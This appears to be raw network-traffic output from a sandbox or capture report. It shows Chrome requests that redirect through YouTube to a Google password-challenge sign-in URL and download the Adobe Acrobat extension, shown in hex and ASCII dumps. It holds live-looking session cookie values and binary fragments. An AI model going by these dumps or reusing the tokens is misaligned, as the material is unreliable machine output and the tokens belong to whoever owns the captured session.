2024-09-30 07:51:29 UTC	1704	IN	HTTP/1.1 301 Moved Permanently Content-Type: application/binary X-Content-Type-Options: nosniff Expires: Mon, 30 Sep 2024 07:51:28 GMT Date: Mon, 30 Sep 2024 07:51:28 GMT Cache-Control: private, max-age=31536000 Location: https://www.youtube.com/account?=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2Fchallenge%2Fpwd Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: SAMEORIGIN Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" Content-Security-Policy: require-trusted-types-for 'script' Origin-Trial: AmhMBR6zCLzDDxpW+HfpP67BqwIknWnyMOXOQGfzYswFmJe+fgaI6XZgAzcxOrzNtP7hEDsOo1jdjFnVr2IdxQ4AAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTc1ODA2NzE5OSwiaXNTdWJkb21haW4iOnRydWV9 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Vary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49730	142.250.185.142	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 07:51:30 UTC	805	OUT	GET /account?=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2Fchallenge%2Fpwd HTTP/1.1 Host: www.youtube.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CI62yQEIpbbJAQipncoBCJuDywEIkqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-30 07:51:30 UTC	2634	IN	HTTP/1.1 303 See Other Content-Type: application/binary X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Sep 2024 07:51:30 GMT Location: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%253F%253Dhttps%25253A%25252F%25252Faccounts.google.com%25252Fv3%25252Fsignin%25252Fchallenge%25252Fpwd%26feature%3Dredirect_login&hl=en Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Vary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script' Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" Origin-Trial: AmhMBR6zCLzDDxpW+HfpP67BqwIknWnyMOXOQGfzYswFmJe+fgaI6XZgAzcxOrzNtP7hEDsOo1jdjFnVr2IdxQ4AAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTc1ODA2NzE5OSwiaXNTdWJkb21haW4iOnRydWV9 P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en for more info." Server: ESF Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: GPS=1; Domain=.youtube.com; Expires=Mon, 30-Sep-2024 08:21:30 GMT; Path=/; Secure; HttpOnly Set-Cookie: YSC=P66fLl_NJqA; Domain=.youtube.com; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Set-Cookie: VISITOR_INFO1_LIVE=JprrEayzKco; Domain=.youtube.com; Expires=Sat, 29-Mar-2025 07:51:30 GMT; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Set-Cookie: VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgHw%3D%3D; Domain=.youtube.com; Expires=Sat, 29-Mar-2025 07:51:30 GMT; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49731	216.58.206.33	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 07:51:30 UTC	564	OUT	GET /crx/blobs/AY4GWKCjSWa8TD5HR0ssoNSHmv1DlGbxavvv4f4_vreCQV6o4JdgbhTns13WqVLfraA3idGD1YqVFdL1d29hUkKmBRQxeBB8OW5ZEZvDIDLLC0_H7OAK-03clOTMdE15SKgAxlKa5Za-otUDEb42n7phqLA20ygc_Y63/EFAIDNBMNNNIBPCAJPCGLCLEFINDMKAJ_24_9_1_1.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-30 07:51:30 UTC	574	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 1941225 X-GUploader-UploadID: AD-8ljsrhlk3KcFOlvaqeQki-n4ZaMTdHG7zi8WG5QhvaUa2dWdUCihPxHa-itezkvAFbJHPIB8iK2Qctg X-Goog-Hash: crc32c=gJt37Q== Server: UploadServer Date: Sun, 29 Sep 2024 10:53:46 GMT Expires: Mon, 29 Sep 2025 10:53:46 GMT Cache-Control: public, max-age=31536000 Age: 75464 Last-Modified: Mon, 23 Sep 2024 06:22:07 GMT ETag: 1e24b304_11d52cdb_efd8d879_eed7fdfd_5995d5f9 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-09-30 07:51:30 UTC	816	IN	Data Raw: 43 72 32 34 03 00 00 00 18 04 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 8f fb bf 5c 37 63 94 3c b0 ee 01 c4 b5 a6 9a b1 9f 46 74 6f 16 38 a0 32 27 35 dd f0 71 6b 0e dc f6 25 cb b2 ed ea fb 32 d5 af 1e 03 43 03 46 f0 a7 39 db 23 96 1d 65 e5 78 51 f0 84 b0 0e 12 ac 0e 5b dc c9 d6 4c 7c 00 d5 b8 1b 88 33 3e 2f da eb aa f7 1a 75 c2 ae 3a 54 de 37 8f 10 d2 28 e6 84 79 4d 15 b4 f3 bd 3f 56 d3 3c 3f 18 ab fc 2e 05 c0 1e 08 31 b6 61 d0 fd 9f 4f 3f 64 0d 17 93 bc ad 41 c7 48 be 00 27 a8 4d 70 42 92 05 54 a6 6d b8 de 56 6e 20 49 70 ee 10 3e 6b d2 7c 31 bd 1b 6e a4 3c 46 62 9f 08 66 93 f9 2a 51 31 a8 db b5 9d b9 0f 73 e8 a0 09 32 01 e9 7b 2a 8a 36 a0 cf 17 b0 50 70 9d a2 f9 a4 6f 62 4d Data Ascii: Cr240"0H0\7c<Fto82'5qk%2CF9#exQ[L\|3>/u:T7(yM?V<?.1aO?dAH'MpBTmVn Ip>k\|1n<FbfQ1s2{*6PpobM
2024-09-30 07:51:30 UTC	1390	IN	Data Raw: a5 09 b8 c8 6c 40 fb 4e c2 bb cf 94 46 64 e5 d5 a4 b0 7d f1 86 3e 44 84 55 34 8d 2b d3 10 48 c5 ce d5 79 96 e2 55 e4 64 ca 64 08 f5 7d 9d c4 a6 d1 3e fb 6d f1 c4 1a a5 01 0a 5b 30 59 30 13 06 07 2a 86 48 ce 3d 02 01 06 08 2a 86 48 ce 3d 03 01 07 03 42 00 04 b4 02 f9 a9 1c ae e1 0c 84 f8 dc 9b 17 72 98 a5 e0 32 d5 db 2b 59 d8 49 c0 ef be e8 6b f9 f8 62 52 b8 6a 35 53 6c 07 8b 38 d4 ff 9a dd bc dd f9 bc 48 22 69 cc 2d 6c a1 01 60 b4 51 e3 7b d1 cf 12 46 30 44 02 20 72 2c b4 73 d0 70 bf 75 a7 29 2b e3 3f a3 a6 44 e4 4f d9 d4 03 a1 e9 d3 16 86 08 74 a7 f8 72 f5 02 20 21 74 a1 5b 1a 27 6a 9d 2d f3 bb cb 4b 98 61 c2 f7 b1 f0 f9 0e f3 d4 37 68 59 34 62 bb ab 80 c2 82 f1 04 12 0a 10 45 08 3d 1c dd d8 1f 20 9f 26 b2 b4 58 d3 ca 09 50 4b 03 04 14 00 08 08 08 00 00 Data Ascii: l@NFd}>DU4+HyUdd}>m[0Y0H=H=Br2+YIkbRj5Sl8H"i-l`Q{F0D r,spu)+?DOtr !t['j-Ka7hY4bE= &XPK
2024-09-30 07:51:30 UTC	1390	IN	Data Raw: 42 42 cb 28 10 59 fd ff 6e 99 37 6f 9a 3f 2c 29 25 6c 28 8c 91 6b 84 52 53 7a b7 0d aa 62 54 53 77 b5 ef 7a f4 35 32 19 df c7 a8 b1 0a 93 15 df 81 0a 4f e4 1c 06 b8 06 af 60 ca 43 6a f1 c6 24 ca 0c ba 55 8d 8e ec 8d 54 15 4f f7 34 cf 1c 9b 0f 82 53 d6 4f 5b 65 36 99 e8 f9 e9 8f 91 c6 10 2e d3 1c 43 ae 85 53 74 dd 2c 03 5d 55 b2 4c ad 80 74 2d 4e f3 46 bf dd 63 0e 89 ed 34 2f 4a 1f f5 97 58 93 c7 83 ee ca 26 ec d1 11 e3 90 4d f1 3b e5 b3 aa 1c c5 33 c8 aa 72 b4 ac ca f1 c8 fe 01 50 4b 07 08 01 6c fb f5 cb 01 00 00 c3 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 2d 00 73 77 5f 6d 6f 64 75 6c 65 73 2f 55 54 05 00 01 ac cb ec 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 1e 1b f9 f9 0a db 01 00 00 00 00 00 00 00 00 Data Ascii: BB(Yn7o?,)%l(kRSzbTSwz52O`Cj$UTO4SO[e6.CSt,]ULt-NFc4/JX&M;3rPKlPK!-sw_modules/UTf
2024-09-30 07:51:30 UTC	1390	IN	Data Raw: 23 27 90 b4 9b 20 d2 a9 86 53 0e 9f fa 7f 01 50 4b 07 08 9a 14 02 bb e3 02 00 00 fb 05 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 0d 00 2d 00 6d 61 6e 69 66 65 73 74 2e 6a 73 6f 6e 55 54 05 00 01 66 b8 f1 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 77 b6 6c e9 0d db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d5 18 cb 6e dc 36 f0 ee af 58 ec c5 80 61 49 59 c7 48 52 b7 28 50 b8 af 1c 92 83 93 1e 8a c2 10 28 72 24 d1 a6 48 95 a4 76 bd 30 fc ef 1d 52 d2 5a 54 f7 21 3f d0 a0 7b 5a cd 8b f3 e6 0c ef 8f e6 4d cd 88 85 b4 d1 62 7e 31 9b 97 d6 d6 e6 22 49 a8 e0 20 ad 39 8b 0b a5 0a 01 31 55 55 62 40 2f 39 85 a4 e5 38 4b a8 be 9b 9f 1e 1d cd f0 37 97 a4 02 c7 9f a6 9f be fc 96 ae 20 3b ab 59 fe cb 9d 95 9f 11 91 a6 48 Data Ascii: #' SPKPK!-manifest.jsonUTff wln6XaIYHR(P(r$Hv0RZT!?{ZMb~1"I 91UUb@/98K7 ;YH
2024-09-30 07:51:30 UTC	1390	IN	Data Raw: 93 75 f4 f0 0f 50 4b 07 08 4d aa 74 7b fc 04 00 00 b9 15 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 2d 00 73 63 68 65 6d 61 2e 6a 73 6f 6e 55 54 05 00 01 3a c6 91 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 99 b7 3a b9 d4 da 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 90 cd 4e c3 30 10 84 ef 79 8a 55 2e 5c 2a 7a e7 56 09 89 f6 80 40 a2 3c 80 93 ac 13 23 d7 6b d9 6b 95 a8 ea bb 63 3b 21 fd 51 10 39 f8 32 3b b3 3b 9f 4f 05 40 c9 bd c5 f2 09 4a aa be b0 e6 72 95 34 eb c8 a2 63 85 3e 4e 4e 51 89 da 9b 45 b3 45 6d bf 27 29 85 15 eb 9c 4e 53 e8 d2 18 58 54 8f 79 4d 76 34 e8 6b a7 2c 2b 32 c9 b7 93 e0 91 81 09 a4 d0 1e 81 bb 98 53 0c 47 32 0f 0c 34 6d b9 da f0 5b d0 b3 53 a6 2d b3 7c 1e a6 e5 a7 17 2d be a2 Data Ascii: uPKMt{PK!-schema.jsonUT:f :N0yU.\*zV@<#kkc;!Q92;;O@Jr4c>NNQEEm')NSXTyMv4k,+2SG24m[S-\|-
2024-09-30 07:51:30 UTC	1390	IN	Data Raw: 13 76 8b 3b 64 0d d0 3b 41 66 b0 cd f9 f1 8f 30 b7 b6 0a 63 ff 65 f0 9d f9 5f 19 0a 82 af a4 50 09 be 90 00 d6 1a 8d 1f 75 ce a6 c5 92 c2 9b 8f 56 af 1f 1a 67 77 c7 3c 47 74 1a ea 5a 5a 81 ef 05 d9 6f f3 f3 41 38 0a a3 8f ed 52 c9 24 f2 84 72 58 b7 7a 45 45 36 50 03 11 45 f1 1e 55 c9 19 5c e2 22 c1 20 65 69 ba 19 1e 00 f3 1d b8 d3 95 06 0c df 97 cf f0 55 9f f3 ab e6 28 ec 41 07 83 e8 f8 13 60 be f3 67 d8 e6 20 74 6d 46 a9 6b 83 19 6e 98 30 8a fa bc b5 13 ee b4 1d 44 7b 5e 59 6c 77 24 cc 82 b6 c5 c0 fb 4c 70 ae d1 85 9c c4 72 4f f8 80 8e 3f 3d a8 c1 79 34 a0 f8 af f7 51 ac 06 6b fc 19 3d 46 f1 43 ad 0b 73 d4 d4 ed 68 34 3a 18 1d 6c aa d7 fe ba 89 ed ba 22 07 71 dd 78 9b 69 56 ba 5a 62 74 b4 7f df 3c c6 3f 42 4d a6 42 d9 a8 15 11 de f4 6b 3c c1 d9 d5 b4 f9 Data Ascii: v;d;Af0ce_PuVgw<GtZZoA8R$rXzEE6PEU\" eiU(A`g tmFkn0D{^Ylw$LprO?=y4Qk=FCsh4:l"qxiVZbt<?BMBk<
2024-09-30 07:51:30 UTC	1390	IN	Data Raw: f1 e9 f7 f9 0a db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 50 4b 07 08 00 00 00 00 02 00 00 00 00 00 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 73 77 5f 6d 6f 64 75 6c 65 73 2f 61 63 72 6f 2d 67 73 74 61 74 65 2e 6a 73 55 54 05 00 01 3a c6 91 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 99 b7 3a b9 d4 da 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ad 55 5d 6f e2 38 14 7d 9f 5f e1 e6 a1 4a 46 69 5a ba 1a 69 15 94 d5 a4 25 65 a3 a1 09 2a b4 d2 3e 21 e3 5c c0 bb c1 46 b6 03 45 94 ff be d7 09 50 a0 dd d1 3e 4c 5e 20 d7 e7 dc 7b 7c bf 72 fd f5 57 3d 5f be 92 b8 93 df 25 e4 3e cf 1e d2 4e 92 0d d3 b8 87 c6 d1 c7 e7 8b 05 93 7b b9 58 2b 3e 9d 19 72 7b d3 fa 46 e2 42 8e 81 0c d6 da c0 5c 93 Data Ascii: PKPK!-sw_modules/acro-gstate.jsUT:f :U]o8}_JFiZi%e*>!\FEP>L^ {\|rW=_%>N{X+>r{FB\
2024-09-30 07:51:30 UTC	1390	IN	Data Raw: ec 28 4b 3b 04 7d a8 60 40 22 f9 dd dd 77 df 7d f4 e8 e8 47 3d 07 47 6c 76 36 ff ed 9c 9d ce 2f 3f 5c 9c 9d 5f 2e 2e 66 1f 69 f3 ee db e7 20 80 d9 a9 ad 1a a7 37 39 b2 93 f1 e4 67 36 cb ec 0a d8 75 e3 11 4a cf 2e 4c 6a 5d 65 9d 42 c8 02 78 56 14 ec 2a 80 3d bb 02 0f ee 0b 64 b2 4b 73 39 5f 5c 9c 9e c7 3b 84 36 6b eb 4a 85 da 1a 96 5a 83 4a 1b c8 58 0e 0e b4 61 da 0b a6 4c c6 1c 94 b4 ef 29 16 73 60 95 b3 15 38 6c 98 5d bf 42 a1 0b d4 54 dc d7 55 55 68 70 5e 50 bc 5e d3 7e 23 19 5b 50 22 6d 10 8a 02 52 ac 55 d1 c1 11 d2 dc e8 94 56 44 25 85 8a a2 7b 4e 14 bc 67 a5 dc 8e 83 d3 80 ca 35 0c ed 77 d0 a0 f0 9e 48 b7 b7 cf 42 25 03 6a d5 30 45 6a a8 80 48 d5 aa f8 8a 5c df 72 a1 1e 76 7d 98 b4 a8 33 6d 36 0c 9d ca 80 79 48 1d 60 97 d8 3a 22 fd 34 a7 80 27 d5 d9 Data Ascii: (K;}`@"w}G=Glv6/?\_..fi 79g6uJ.Lj]eBxV*=dKs9_\;6kJZJXaL)s`8l]BTUUhp^P^~#[P"mRUVD%{Ng5wHB%j0EjH\rv}3m6yH`:"4'
2024-09-30 07:51:30 UTC	1390	IN	Data Raw: 87 62 32 ad 16 b1 4d 37 0c 37 ce 44 92 80 64 b9 4c c1 18 74 51 a0 89 67 2d ac 45 21 7a bb c2 23 c9 10 ee 52 b3 2e 87 73 ad 56 bf 48 17 fa fa af 7d 06 6f c4 0a cd da 22 56 ab 15 3a c2 0d 83 92 ce 77 82 41 2d 0a be 19 67 d8 28 7d d1 ea c7 86 74 6c ab 93 91 a4 af 72 36 3a fb 7b fc f8 e5 ee e6 62 fc 78 8b 8f 9f c7 a4 6f fc 0a 44 8f 93 ab e9 f8 e6 6a 74 49 32 bd 3d 47 1a cb a5 ed 9b 49 e2 4b 85 3d 76 6b 31 e4 05 90 3a 6f d4 5b bf 06 29 29 9c 98 5a a3 bf 37 b7 22 a5 1d b2 3d 80 04 95 c2 9a 6b 26 22 99 a7 e9 30 4e 39 16 44 15 55 00 6e 10 04 e0 15 d8 1d b9 96 cc 06 75 54 33 21 13 97 ea eb d5 eb a5 90 c2 ba 5e 41 a2 20 c6 2e 95 76 92 44 10 2c c0 7e 15 f0 0c 7a f2 f9 f6 ac 11 bb 9e 5f a9 cd 53 a5 92 05 56 ed 4e 8b 5a f5 53 2b c9 b5 68 b5 40 ae eb c5 b1 5c b7 32 1e Data Ascii: b2M77DdLtQg-E!z#R.sVH}o"V:wA-g(}tlr6:{bxoDjtI2=GIK=vk1:o[))Z7"=k&"0N9DUnuT3!^A .vD,~z_SVNZS+h@\2
2024-09-30 07:51:30 UTC	1390	IN	Data Raw: fc 25 e0 bb a6 ae 46 a2 de cd df 52 30 36 48 bd 4e 16 5c 87 de 9c 31 9d 27 b6 42 11 a5 14 02 f5 1d e7 11 fc 6e d9 d0 69 5e 79 c9 9d c1 37 43 28 f2 fa 17 01 50 4b 46 6b 25 12 86 b0 0f 48 c3 25 9e b6 88 ae 6e fe 30 9d 17 3a 7a ea 3a 84 61 8b b0 39 17 c8 2c ec 59 d8 25 be bc 12 c8 b0 25 10 32 d5 63 d9 7b 9e a2 c1 92 91 b3 d4 33 f8 84 bf f1 c9 50 ab 76 00 21 46 a8 41 a2 9b bb b0 37 d0 15 3d 87 69 e0 08 56 d8 72 f8 fe 76 0a e1 16 5c 3d f7 c8 35 a4 f3 10 4f f9 e7 f6 fa 2a a0 77 6b b9 10 f3 0d 4d 52 4f 95 fd 12 d1 ea 8a ea 66 50 5e 50 bf a3 0d e1 07 bd 0a b2 3a e0 0e d9 91 18 fe 0f 50 4b 07 08 40 5b 05 b1 83 07 00 00 1a 12 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 00 2d 00 73 77 5f 6d 6f 64 75 6c 65 73 2f 76 69 65 77 Data Ascii: %FR06HN\1'Bni^y7C(PKFk%H%n0:z:a9,Y%%2c{3Pv!FA7=iVrv\=5O*wkMROfP^P:PK@[PK!-sw_modules/view

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49749	172.217.18.110	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 07:51:37 UTC	393	OUT	GET /webstore/inlineinstall/detail/efaidnbmnnnibpcajpcglclefindmkaj HTTP/1.1 Host: chrome.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-30 07:51:37 UTC	1511	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Sep 2024 07:51:37 GMT Content-Disposition: attachment; filename="json.txt"; filename*=UTF-8''json.txt P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: require-trusted-types-for 'script';report-uri https://csp.withgoogle.com/csp/chromewebstore/2 Content-Security-Policy: script-src 'report-sample' 'nonce-fe4L3UOhmUHvnDqlSGrkQQ' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';worker-src 'self';report-uri /webstore/cspreport Report-To: {"group":"coop_chromewebstore","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/chromewebstore"}]} Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="coop_chromewebstore" Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: NID=518=jU3O9ujwAPSO9EZuUfDX-qeUdArJUb2TCbciszVW5L0tZHTU6kIO_HKHeRmuhdZ4j3dExcDOzPdMfY2lX3habXgLf8aR-oxoiTxkyuF6YqKbyaZy6-W4gI2VK0_RNYtXKPbyvwCzqKmNWHfNi6Ihwaqjtt6AtzgzAm8_F5S4TVtqCpbCxw; expires=Tue, 01-Apr-2025 07:51:37 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-09-30 07:51:37 UTC	1511	IN	Data Raw: 31 39 38 32 0d 0a 7b 22 69 63 6f 6e 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6c 68 33 2e 67 6f 6f 67 6c 65 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 61 71 61 68 47 7a 33 65 75 58 61 64 6d 74 6d 70 38 4e 5a 6e 75 4b 50 6f 55 6d 34 63 6d 65 77 4e 59 30 41 49 31 61 5f 63 4d 73 43 32 38 63 66 76 42 32 42 78 33 4e 41 72 59 39 4d 69 35 30 6f 32 7a 46 34 35 55 68 37 34 52 6d 6d 71 2d 42 68 36 64 4a 52 73 56 41 62 6d 22 2c 22 73 68 6f 77 5f 75 73 65 72 5f 63 6f 75 6e 74 22 3a 74 72 75 65 2c 22 6c 6f 63 61 6c 69 7a 65 64 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 44 6f 20 6d 6f 72 65 20 69 6e 20 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 20 77 69 74 68 20 41 64 6f 62 65 20 41 63 72 6f 62 61 74 20 50 44 46 20 74 6f 6f 6c 73 2e 20 56 69 65 77 2c 20 66 69 6c Data Ascii: 1982{"icon_url":"https://lh3.googleusercontent.com/aqahGz3euXadmtmp8NZnuKPoUm4cmewNY0AI1a_cMsC28cfvB2Bx3NArY9Mi50o2zF45Uh74Rmmq-Bh6dJRsVAbm","show_user_count":true,"localized_description":"Do more in Google Chrome with Adobe Acrobat PDF tools. View, fil
2024-09-30 07:51:37 UTC	1511	IN	Data Raw: 31 36 2e 70 6e 67 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 5c 22 34 38 5c 22 3a 20 5c 22 62 72 6f 77 73 65 72 2f 69 6d 61 67 65 73 2f 61 63 72 6f 62 61 74 5f 64 63 5f 61 70 70 69 63 6f 6e 5f 34 38 2e 70 6e 67 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 5c 22 31 32 38 5c 22 3a 20 5c 22 62 72 6f 77 73 65 72 2f 69 6d 61 67 65 73 2f 61 63 72 6f 62 61 74 5f 64 63 5f 61 70 70 69 63 6f 6e 5f 31 32 38 2e 70 6e 67 5c 22 5c 6e 20 20 20 20 7d 2c 5c 6e 20 20 20 20 5c 22 61 63 74 69 6f 6e 5c 22 3a 20 7b 5c 6e 20 20 20 20 20 20 20 20 5c 22 64 65 66 61 75 6c 74 5f 74 69 74 6c 65 5c 22 3a 20 5c 22 5f 5f 4d 53 47 5f 65 78 74 65 6e 73 69 6f 6e 4d 65 6e 75 54 69 74 6c 65 5f 5f 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 5c 22 64 65 66 61 75 6c 74 5f 69 63 6f 6e 5c 22 3a 20 5c 22 62 72 Data Ascii: 16.png\",\n \"48\": \"browser/images/acrobat_dc_appicon_48.png\",\n \"128\": \"browser/images/acrobat_dc_appicon_128.png\"\n },\n \"action\": {\n \"default_title\": \"__MSG_extensionMenuTitle__\",\n \"default_icon\": \"br
2024-09-30 07:51:37 UTC	1511	IN	Data Raw: 63 6f 6d 2f 2a 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 68 74 74 70 73 3a 2f 2f 77 6f 72 6b 73 70 61 63 65 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 2a 5c 22 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 5d 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 61 6c 6c 5f 66 72 61 6d 65 73 5c 22 3a 20 74 72 75 65 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 63 73 73 5c 22 3a 20 5b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 62 72 6f 77 73 65 72 2f 63 73 73 2f 67 64 72 69 76 65 2d 63 6f 6e 74 65 6e 74 2d 73 63 72 69 70 74 2e 63 73 73 5c 22 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 5d 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 6a 73 5c 22 3a 20 5b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 63 6f Data Ascii: com/\",\n \"https://workspace.google.com/\"\n ],\n \"all_frames\": 